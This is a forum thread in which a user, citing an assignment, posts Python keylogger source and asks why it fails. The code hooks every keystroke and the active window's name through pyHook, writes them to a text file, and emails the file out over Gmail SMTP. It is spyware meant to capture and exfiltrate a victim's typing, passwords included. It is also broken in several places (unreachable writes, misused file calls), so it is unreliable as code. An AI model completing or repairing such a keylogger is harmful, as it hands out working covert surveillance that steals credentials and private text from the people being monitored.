Python Forum
I have an assignment - to create a keylogger
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
I have an assignment - to create a keylogger
#1
Hello dear users!
I have a assignment - create a keylogger
Keylogger must have:

- Sending data with e-mail (attachment .txt file)
- Every line in .txt file must write name of active window

Actually code is:
import pyHook
import pythoncom
import sys
from threading import Thread
import time
import utils
import smtplib
import base64
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import csv
 
 
# global parameters
started        = False
keylog         = ""
current_window = ""
filename = "protocolbackup.txt"
length = 1

with open(filename, "w") as f:
    f.write("Recording started!")

 

 
def OnKeyboardEvent(event):
    global current_window
    global keylog
    if current_window != event.WindowName:
        current_window = event.WindowName
        
    f.open(filename, "a+")
    keylog += "\n\n[{}] @ {}\n".format(current_window, time.ctime())
    key = ""
    if event.Ascii == 8:
        key = '[Backspace]'
    elif event.Ascii == 13:
        key = '\n'
    elif event.Ascii == 27:
        key = '[ESC]'
    elif event.Ascii:
        key = chr(event.Ascii)
    keylog += key
    return(True)
    f.write(keylog)
    f.close()
    parsed_length = (int(length.get()) * 60)
    time.sleep((int(parsed_length)), sendmail())
    keylog = ""
 
 
def keylogger():
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()
    hm.start()
 
def sendmail():
    global keylog
    recipients = ["[email protected]"]
    msg = MIMEMultipart()
    fromaddr = '[email protected]'
    toaddrs = recipients
    msg['Subject'] = 'Test'
    message = ""
    msg.attach(MIMEText(message))
    msg.attach(MIMEText(open(filename).read()))

    mailserver = smtplib.SMTP("smtp.gmail.com", 587)
    # identify ourselves to smtp gmail client
    mailserver.ehlo()
    # secure our email with tls encryption
    mailserver.starttls()
    # re-identify ourselves as an encrypted connection
    mailserver.ehlo()
    mailserver.login('[email protected]', 'xxx')

    mailserver.sendmail(fromaddr, toaddrs, msg.as_string())

    mailserver.quit()

 


input()
But I have problem.. Email doesn't send and doesn't writing data to .txt file..
Can you someone help me?
Reply


Messages In This Thread
I have an assignment - to create a keylogger - by MartyXO - Feb-04-2018, 11:35 AM

Possibly Related Threads…
Thread Author Replies Views Last Post
  Keylogger Help Bigsnook 0 1,787 Nov-18-2020, 12:58 AM
Last Post: Bigsnook

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020